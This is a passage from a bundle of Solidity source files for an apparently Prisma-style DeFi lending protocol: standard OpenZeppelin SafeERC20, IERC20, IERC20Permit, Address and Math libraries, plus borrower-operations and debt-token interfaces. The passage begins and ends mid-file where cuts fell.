Math.mulDiv(currentInterestIndex, interestFactor, INTEREST_PRECISION);\n }\n }\n\n // --- Requires ---\n\n function _requireCallerIsBO() internal view {\n require(msg.sender == borrowerOperationsAddress);\n }\n\n function _requireCallerIsLM() internal view {\n require(msg.sender == liquidationManager);\n }\n}\n"
},
"contracts/token/ERC20/utils/SafeERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.3) (token/ERC20/utils/SafeERC20.sol)\n\npragma solidity ^0.8.0;\n\nimport \"contracts/token/ERC20/IERC20.sol\";\nimport \"contracts/token/ERC20/extensions/IERC20Permit.sol\";\nimport \"contracts/utils/Address.sol\";\n\n/**\n * @title SafeERC20\n * @dev Wrappers around ERC20 operations that throw on failure (when the token\n * contract returns false). Tokens that return no value (and instead revert or\n * throw on failure) are also supported, non-reverting calls are assumed to be\n * successful.\n * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,\n * which allows you to call the safe operations as `token.safeTransfer(...)`, etc.\n */\nlibrary SafeERC20 {\n using Address for address;\n\n /**\n * @dev Transfer `value` amount of `token` from the calling contract to `to`. If `token` returns no value,\n * non-reverting calls are assumed to be successful.\n */\n function safeTransfer(IERC20 token, address to, uint256 value) internal {\n _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));\n }\n\n /**\n * @dev Transfer `value` amount of `token` from `from` to `to`, spending the approval given by `from` to the\n * calling contract. If `token` returns no value, non-reverting calls are assumed to be successful.\n */\n function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {\n _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));\n }\n\n /**\n * @dev Deprecated. This function has issues similar to the ones found in\n * {IERC20-approve}, and its usage is discouraged.\n *\n * Whenever possible, use {safeIncreaseAllowance} and\n * {safeDecreaseAllowance} instead.\n */\n function safeApprove(IERC20 token, address spender, uint256 value) internal {\n // safeApprove should only be called when setting an initial allowance,\n // or when resetting it to zero. To increase and decrease it, use\n // 'safeIncreaseAllowance' and 'safeDecreaseAllowance'\n require(\n (value == 0) || (token.allowance(address(this), spender) == 0),\n \"SafeERC20: approve from non-zero to non-zero allowance\"\n );\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));\n }\n\n /**\n * @dev Increase the calling contract's allowance toward `spender` by `value`. If `token` returns no value,\n * non-reverting calls are assumed to be successful.\n */\n function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {\n uint256 oldAllowance = token.allowance(address(this), spender);\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, oldAllowance + value));\n }\n\n /**\n * @dev Decrease the calling contract's allowance toward `spender` by `value`. If `token` returns no value,\n * non-reverting calls are assumed to be successful.\n */\n function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {\n unchecked {\n uint256 oldAllowance = token.allowance(address(this), spender);\n require(oldAllowance >= value, \"SafeERC20: decreased allowance below zero\");\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, oldAllowance - value));\n }\n }\n\n /**\n * @dev Set the calling contract's allowance toward `spender` to `value`. If `token` returns no value,\n * non-reverting calls are assumed to be successful. Meant to be used with tokens that require the approval\n * to be set to zero before setting it to a non-zero value, such as USDT.\n */\n function forceApprove(IERC20 token, address spender, uint256 value) internal {\n bytes memory approvalCall = abi.encodeWithSelector(token.approve.selector, spender, value);\n\n if (!_callOptionalReturnBool(token, approvalCall)) {\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, 0));\n _callOptionalReturn(token, approvalCall);\n }\n }\n\n /**\n * @dev Use a ERC-2612 signature to set the `owner` approval toward `spender` on `token`.\n * Revert on invalid signature.\n */\n function safePermit(\n IERC20Permit token,\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) internal {\n uint256 nonceBefore = token.nonces(owner);\n token.permit(owner, spender, value, deadline, v, r, s);\n uint256 nonceAfter = token.nonces(owner);\n require(nonceAfter == nonceBefore + 1, \"SafeERC20: permit did not succeed\");\n }\n\n /**\n * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement\n * on the return value: the return value is optional (but if data is returned, it must not be false).\n * @param token The token targeted by the call.\n * @param data The call data (encoded using abi.encode or one of its variants).\n */\n function _callOptionalReturn(IERC20 token, bytes memory data) private {\n // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since\n // we're implementing it ourselves. We use {Address-functionCall} to perform this call, which verifies that\n // the target address contains contract code and also asserts for success in the low-level call.\n\n bytes memory returndata = address(token).functionCall(data, \"SafeERC20: low-level call failed\");\n require(returndata.length == 0 || abi.decode(returndata, (bool)), \"SafeERC20: ERC20 operation did not succeed\");\n }\n\n /**\n * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement\n * on the return value: the return value is optional (but if data is returned, it must not be false).\n * @param token The token targeted by the call.\n * @param data The call data (encoded using abi.encode or one of its variants).\n *\n * This is a variant of {_callOptionalReturn} that silents catches all reverts and returns a bool instead.\n */\n function _callOptionalReturnBool(IERC20 token, bytes memory data) private returns (bool) {\n // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since\n // we're implementing it ourselves. We cannot use {Address-functionCall} here since this should return false\n // and not revert is the subcall reverts.\n\n (bool success, bytes memory returndata) = address(token).call(data);\n return\n success && (returndata.length == 0 || abi.decode(returndata, (bool))) && Address.isContract(address(token));\n }\n}\n"
},
"contracts/token/ERC20/IERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC20 standard as defined in the EIP.\n */\ninterface IERC20 {\n /**\n * @dev Emitted when `value` tokens are moved from one account (`from`) to\n * another (`to`).\n *\n * Note that `value` may be zero.\n */\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n /**\n * @dev Emitted when the allowance of a `spender` for an `owner` is set by\n * a call to {approve}. `value` is the new allowance.\n */\n event Approval(address indexed owner, address indexed spender, uint256 value);\n\n /**\n * @dev Returns the amount of tokens in existence.\n */\n function totalSupply() external view returns (uint256);\n\n /**\n * @dev Returns the amount of tokens owned by `account`.\n */\n function balanceOf(address account) external view returns (uint256);\n\n /**\n * @dev Moves `amount` tokens from the caller's account to `to`.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transfer(address to, uint256 amount) external returns (bool);\n\n /**\n * @dev Returns the remaining number of tokens that `spender` will be\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\n * zero by default.\n *\n * This value changes when {approve} or {transferFrom} are called.\n */\n function allowance(address owner, address spender) external view returns (uint256);\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * IMPORTANT: Beware that changing an allowance with this method brings the risk\n * that someone may use both the old and the new allowance by unfortunate\n * transaction ordering. One possible solution to mitigate this race\n * condition is to first reduce the spender's allowance to 0 and set the\n * desired value afterwards:\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\n *\n * Emits an {Approval} event.\n */\n function approve(address spender, uint256 amount) external returns (bool);\n\n /**\n * @dev Moves `amount` tokens from `from` to `to` using the\n * allowance mechanism. `amount` is then deducted from the caller's\n * allowance.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(address from, address to, uint256 amount) external returns (bool);\n}\n"
},
"contracts/token/ERC20/extensions/IERC20Permit.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/extensions/IERC20Permit.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in\n * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].\n *\n * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by\n * presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't\n * need to send a transaction, and thus is not required to hold Ether at all.\n */\ninterface IERC20Permit {\n /**\n * @dev Sets `value` as the allowance of `spender` over ``owner``'s tokens,\n * given ``owner``'s signed approval.\n *\n * IMPORTANT: The same issues {IERC20-approve} has related to transaction\n * ordering also apply here.\n *\n * Emits an {Approval} event.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n * - `deadline` must be a timestamp in the future.\n * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`\n * over the EIP712-formatted function arguments.\n * - the signature must use ``owner``'s current nonce (see {nonces}).\n *\n * For more information on the signature format, see the\n * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP\n * section].\n */\n function permit(\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external;\n\n /**\n * @dev Returns the current nonce for `owner`. This value must be\n * included whenever a signature is generated for {permit}.\n *\n * Every successful call to {permit} increases ``owner``'s nonce by one. This\n * prevents a signature from being used multiple times.\n */\n function nonces(address owner) external view returns (uint256);\n\n /**\n * @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}.\n */\n // solhint-disable-next-line func-name-mixedcase\n function DOMAIN_SEPARATOR() external view returns (bytes32);\n}\n"
},
"contracts/utils/Address.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/Address.sol)\n\npragma solidity ^0.8.1;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary Address {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n *\n * Furthermore, `isContract` will also return true if the target contract within\n * the same transaction is already scheduled for destruction by `SELFDESTRUCT`,\n * which only has an effect at the end of a transaction.\n * ====\n *\n * [IMPORTANT]\n * ====\n * You shouldn't rely on `isContract` to protect against flash loan attacks!\n *\n * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets\n * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract\n * constructor.\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize/address.code.length, which returns 0\n // for contracts in construction, since the code is only stored at the end\n // of the constructor execution.\n\n return account.code.length > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.8.0/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling\n * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.\n *\n * _Available since v4.8._\n */\n function verifyCallResultFromTarget(\n address target,\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n if (success) {\n if (returndata.length == 0) {\n // only check isContract if the call was successful and the return data is empty\n // otherwise we already know that it was a contract\n require(isContract(target), \"Address: call to non-contract\");\n }\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n /**\n * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason or using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n function _revert(bytes memory returndata, string memory errorMessage) private pure {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n /// @solidity memory-safe-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n}\n"
},
"contracts/utils/math/Math.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/math/Math.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Standard math utilities missing in the Solidity language.\n */\nlibrary Math {\n enum Rounding {\n Down, // Toward negative infinity\n Up, // Toward infinity\n Zero // Toward zero\n }\n\n /**\n * @dev Returns the largest of two numbers.\n */\n function max(uint256 a, uint256 b) internal pure returns (uint256) {\n return a > b ? a : b;\n }\n\n /**\n * @dev Returns the smallest of two numbers.\n */\n function min(uint256 a, uint256 b) internal pure returns (uint256) {\n return a < b ? a : b;\n }\n\n /**\n * @dev Returns the average of two numbers. The result is rounded towards\n * zero.\n */\n function average(uint256 a, uint256 b) internal pure returns (uint256) {\n // (a + b) / 2 can overflow.\n return (a & b) + (a ^ b) / 2;\n }\n\n /**\n * @dev Returns the ceiling of the division of two numbers.\n *\n * This differs from standard division with `/` in that it rounds up instead\n * of rounding down.\n */\n function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {\n // (a + b - 1) / b can overflow on addition, so we distribute.\n return a == 0 ? 0 : (a - 1) / b + 1;\n }\n\n /**\n * @notice Calculates floor(x * y / denominator) with full precision. Throws if result overflows a uint256 or denominator == 0\n * @dev Original credit to Remco Bloemen under MIT license (https://xn--2-umb.com/21/muldiv)\n * with further edits by Uniswap Labs also under MIT license.\n */\n function mulDiv(uint256 x, uint256 y, uint256 denominator) internal pure returns (uint256 result) {\n unchecked {\n // 512-bit multiply [prod1 prod0] = x * y. Compute the product mod 2^256 and mod 2^256 - 1, then use\n // use the Chinese Remainder Theorem to reconstruct the 512 bit result. The result is stored in two 256\n // variables such that product = prod1 * 2^256 + prod0.\n uint256 prod0; // Least significant 256 bits of the product\n uint256 prod1; // Most significant 256 bits of the product\n assembly {\n let mm := mulmod(x, y, not(0))\n prod0 := mul(x, y)\n prod1 := sub(sub(mm, prod0), lt(mm, prod0))\n }\n\n // Handle non-overflow cases, 256 by 256 division.\n if (prod1 == 0) {\n // Solidity will revert if denominator == 0, unlike the div opcode on its own.\n // The surrounding unchecked block does not change this fact.\n // See https://docs.soliditylang.org/en/latest/control-structures.html#checked-or-unchecked-arithmetic.\n return prod0 / denominator;\n }\n\n // Make sure the result is less than 2^256. Also prevents denominator == 0.\n require(denominator > prod1, \"Math: mulDiv overflow\");\n\n ///////////////////////////////////////////////\n // 512 by 256 division.\n ///////////////////////////////////////////////\n\n // Make division exact by subtracting the remainder from [prod1 prod0].\n uint256 remainder;\n assembly {\n // Compute remainder using mulmod.\n remainder := mulmod(x, y, denominator)\n\n // Subtract 256 bit number from 512 bit number.\n prod1 := sub(prod1, gt(remainder, prod0))\n prod0 := sub(prod0, remainder)\n }\n\n // Factor powers of two out of denominator and compute largest power of two divisor of denominator. Always >= 1.\n // See https://cs.stackexchange.com/q/138556/92363.\n\n // Does not overflow because the denominator cannot be zero at this stage in the function.\n uint256 twos = denominator & (~denominator + 1);\n assembly {\n // Divide denominator by twos.\n denominator := div(denominator, twos)\n\n // Divide [prod1 prod0] by twos.\n prod0 := div(prod0, twos)\n\n // Flip twos such that it is 2^256 / twos. If twos is zero, then it becomes one.\n twos := add(div(sub(0, twos), twos), 1)\n }\n\n // Shift in bits from prod1 into prod0.\n prod0 |= prod1 * twos;\n\n // Invert denominator mod 2^256. Now that denominator is an odd number, it has an inverse modulo 2^256 such\n // that denominator * inv = 1 mod 2^256. Compute the inverse by starting with a seed that is correct for\n // four bits. That is, denominator * inv = 1 mod 2^4.\n uint256 inverse = (3 * denominator) ^ 2;\n\n // Use the Newton-Raphson iteration to improve the precision. Thanks to Hensel's lifting lemma, this also works\n // in modular arithmetic, doubling the correct bits in each step.\n inverse *= 2 - denominator * inverse; // inverse mod 2^8\n inverse *= 2 - denominator * inverse; // inverse mod 2^16\n inverse *= 2 - denominator * inverse; // inverse mod 2^32\n inverse *= 2 - denominator * inverse; // inverse mod 2^64\n inverse *= 2 - denominator * inverse; // inverse mod 2^128\n inverse *= 2 - denominator * inverse; // inverse mod 2^256\n\n // Because the division is now exact we can divide by multiplying with the modular inverse of denominator.\n // This will give us the correct result modulo 2^256. Since the preconditions guarantee that the outcome is\n // less than 2^256, this is the final result. We don't need to compute the high bits of the result and prod1\n // is no longer required.\n result = prod0 * inverse;\n return result;\n }\n }\n\n /**\n * @notice Calculates x * y / denominator with full precision, following the selected rounding direction.\n */\n function mulDiv(uint256 x, uint256 y, uint256 denominator, Rounding rounding) internal pure returns (uint256) {\n uint256 result = mulDiv(x, y, denominator);\n if (rounding == Rounding.Up && mulmod(x, y, denominator) > 0) {\n result += 1;\n }\n return result;\n }\n\n /**\n * @dev Returns the square root of a number. If the number is not a perfect square, the value is rounded down.\n *\n * Inspired by Henry S. Warren, Jr.'s \"Hacker's Delight\" (Chapter 11).\n */\n function sqrt(uint256 a) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n // For our first guess, we get the biggest power of 2 which is smaller than the square root of the target.\n //\n // We know that the \"msb\" (most significant bit) of our target number `a` is a power of 2 such that we have\n // `msb(a) <= a < 2*msb(a)`. This value can be written `msb(a)=2**k` with `k=log2(a)`.\n //\n // This can be rewritten `2**log2(a) <= a < 2**(log2(a) + 1)`\n // → `sqrt(2**k) <= sqrt(a) < sqrt(2**(k+1))`\n // → `2**(k/2) <= sqrt(a) < 2**((k+1)/2) <= 2**(k/2 + 1)`\n //\n // Consequently, `2**(log2(a) / 2)` is a good first approximation of `sqrt(a)` with at least 1 correct bit.\n uint256 result = 1 << (log2(a) >> 1);\n\n // At this point `result` is an estimation with one bit of precision. We know the true value is a uint128,\n // since it is the square root of a uint256. Newton's method converges quadratically (precision doubles at\n // every iteration). We thus need at most 7 iteration to turn our partial result with one bit of precision\n // into the expected uint128 result.\n unchecked {\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n return min(result, a / result);\n }\n }\n\n /**\n * @notice Calculates sqrt(a), following the selected rounding direction.\n */\n function sqrt(uint256 a, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = sqrt(a);\n return result + (rounding == Rounding.Up && result * result < a ? 1 : 0);\n }\n }\n\n /**\n * @dev Return the log in base 2, rounded down, of a positive value.\n * Returns 0 if given 0.\n */\n function log2(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n result += 128;\n }\n if (value >> 64 > 0) {\n value >>= 64;\n result += 64;\n }\n if (value >> 32 > 0) {\n value >>= 32;\n result += 32;\n }\n if (value >> 16 > 0) {\n value >>= 16;\n result += 16;\n }\n if (value >> 8 > 0) {\n value >>= 8;\n result += 8;\n }\n if (value >> 4 > 0) {\n value >>= 4;\n result += 4;\n }\n if (value >> 2 > 0) {\n value >>= 2;\n result += 2;\n }\n if (value >> 1 > 0) {\n result += 1;\n }\n }\n return result;\n }\n\n /**\n * @dev Return the log in base 2, following the selected rounding direction, of a positive value.\n * Returns 0 if given 0.\n */\n function log2(uint256 value, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = log2(value);\n return result + (rounding == Rounding.Up && 1 << result < value ? 1 : 0);\n }\n }\n\n /**\n * @dev Return the log in base 10, rounded down, of a positive value.\n * Returns 0 if given 0.\n */\n function log10(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n unchecked {\n if (value >= 10 ** 64) {\n value /= 10 ** 64;\n result += 64;\n }\n if (value >= 10 ** 32) {\n value /= 10 ** 32;\n result += 32;\n }\n if (value >= 10 ** 16) {\n value /= 10 ** 16;\n result += 16;\n }\n if (value >= 10 ** 8) {\n value /= 10 ** 8;\n result += 8;\n }\n if (value >= 10 ** 4) {\n value /= 10 ** 4;\n result += 4;\n }\n if (value >= 10 ** 2) {\n value /= 10 ** 2;\n result += 2;\n }\n if (value >= 10 ** 1) {\n result += 1;\n }\n }\n return result;\n }\n\n /**\n * @dev Return the log in base 10, following the selected rounding direction, of a positive value.\n * Returns 0 if given 0.\n */\n function log10(uint256 value, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = log10(value);\n return result + (rounding == Rounding.Up && 10 ** result < value ? 1 : 0);\n }\n }\n\n /**\n * @dev Return the log in base 256, rounded down, of a positive value.\n * Returns 0 if given 0.\n *\n * Adding one to the result gives the number of pairs of hex symbols needed to represent `value` as a hex string.\n */\n function log256(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n result += 16;\n }\n if (value >> 64 > 0) {\n value >>= 64;\n result += 8;\n }\n if (value >> 32 > 0) {\n value >>= 32;\n result += 4;\n }\n if (value >> 16 > 0) {\n value >>= 16;\n result += 2;\n }\n if (value >> 8 > 0) {\n result += 1;\n }\n }\n return result;\n }\n\n /**\n * @dev Return the log in base 256, following the selected rounding direction, of a positive value.\n * Returns 0 if given 0.\n */\n function log256(uint256 value, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = log256(value);\n return result + (rounding == Rounding.Up && 1 << (result << 3) < value ? 1 : 0);\n }\n }\n}\n"
},
"contracts/interfaces/IBorrowerOperations.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IBorrowerOperations {\n struct Balances {\n uint256[] collaterals;\n uint256[] debts;\n uint256[] prices;\n }\n\n event BorrowingFeePaid(address indexed borrower, uint256 amount);\n event CollateralConfigured(address troveManager, address collateralToken);\n event TroveCreated(address indexed _borrower, uint256 arrayIndex);\n event TroveManagerRemoved(address troveManager);\n event TroveUpdated(address indexed _borrower, uint256 _debt, uint256 _coll, uint256 stake, uint8 operation);\n\n function addColl(\n address troveManager,\n address account,\n uint256 _collateralAmount,\n address _upperHint,\n address _lowerHint\n ) external;\n\n function adjustTrove(\n address troveManager,\n address account,\n uint256 _maxFeePercentage,\n uint256 _collDeposit,\n uint256 _collWithdrawal,\n uint256 _debtChange,\n bool _isDebtIncrease,\n address _upperHint,\n address _lowerHint\n ) external;\n\n function closeTrove(address troveManager, address account) external;\n\n function configureCollateral(address troveManager, address collateralToken) external;\n\n function fetchBalances() external returns (Balances memory balances);\n\n function getGlobalSystemBalances() external returns (uint256 totalPricedCollateral, uint256 totalDebt);\n\n function getTCR() external returns (uint256 globalTotalCollateralRatio);\n\n function openTrove(\n address troveManager,\n address account,\n uint256 _maxFeePercentage,\n uint256 _collateralAmount,\n uint256 _debtAmount,\n address _upperHint,\n address _lowerHint\n ) external;\n\n function removeTroveManager(address troveManager) external;\n\n function repayDebt(\n address troveManager,\n address account,\n uint256 _debtAmount,\n address _upperHint,\n address _lowerHint\n ) external;\n\n function setDelegateApproval(address _delegate, bool _isApproved) external;\n\n function setMinNetDebt(uint256 _minNetDebt) external;\n\n function withdrawColl(\n address troveManager,\n address account,\n uint256 _collWithdrawal,\n address _upperHint,\n address _lowerHint\n ) external;\n\n function withdrawDebt(\n address troveManager,\n address account,\n uint256 _maxFeePercentage,\n uint256 _debtAmount,\n address _upperHint,\n address _lowerHint\n ) external;\n\n function checkRecoveryMode(uint256 TCR) external pure returns (bool);\n\n function CCR() external view returns (uint256);\n\n function DEBT_GAS_COMPENSATION() external view returns (uint256);\n\n function DECIMAL_PRECISION() external view returns (uint256);\n\n function PERCENT_DIVISOR() external view returns (uint256);\n\n function PRISMA_CORE() external view returns (address);\n\n function _100pct() external view returns (uint256);\n\n function debtToken() external view returns (address);\n\n function factory() external view returns (address);\n\n function getCompositeDebt(uint256 _debt) external view returns (uint256);\n\n function guardian() external view returns (address);\n\n function isApprovedDelegate(address owner, address caller) external view returns (bool isApproved);\n\n function minNetDebt() external view returns (uint256);\n\n function owner() external view returns (address);\n\n function troveManagersData(address) external view returns (address collateralToken, uint16 index);\n}\n"
},
"contracts/interfaces/IDebtToken.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IDebtToken {\n event Approval(address indexed owner, address indexed spender, uint256 value);\n event MessageFailed(uint16 _srcChainId, bytes _srcAddress, uint64 _nonce, bytes _payload, bytes _reason);\n event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);\n event ReceiveFromChain(uint16 indexed _srcChainId, address indexed _to, uint256 _amount);\n event RetryMessageSuccess(uint16 _srcChainId, bytes _srcAddress, uint64 _nonce, bytes32 _payloadHash);\n event SendToChain(uint16 indexed _dstChainId, address indexed _from, bytes _toAddress, uint256 _amount);\n event SetMinDstGas(uint16 _dstChainId, uint16 _type, uint256 _minDstGas);\n event SetPrecrime(address precrime);\n event SetTrustedRemote(uint16 _remoteChainId, bytes _path);\n event SetTrustedRemoteAddress(uint16 _remoteChainId, bytes _remoteAddress);\n event SetUseCustomAdapterParams(bool _useCustomAdapterParams);\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function burn(address _account, uint256 _amount) external;\n\n function burnWithGasCompensation(address _account, uint256 _amount) external returns (bool);\n\n function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool);\n\n function enableTroveManager(address _troveManager) external;\n\n function flashLoan(address receiver, address token, uint256 amount, bytes calldata data) external returns (bool);\n\n function forceResumeReceive(uint16 _srcChainId, bytes calldata _srcAddress) external;\n\n function increaseAllowance(address spender, uint256 addedValue) external returns (bool);\n\n function lzReceive(uint16 _srcChainId, bytes calldata _srcAddress, uint64 _nonce, bytes calldata _payload) external;\n\n function mint(address _account, uint256 _amount) external;\n\n function mintWithGasCompensation(address _account, uint256 _amount) external returns (bool);\n\n function 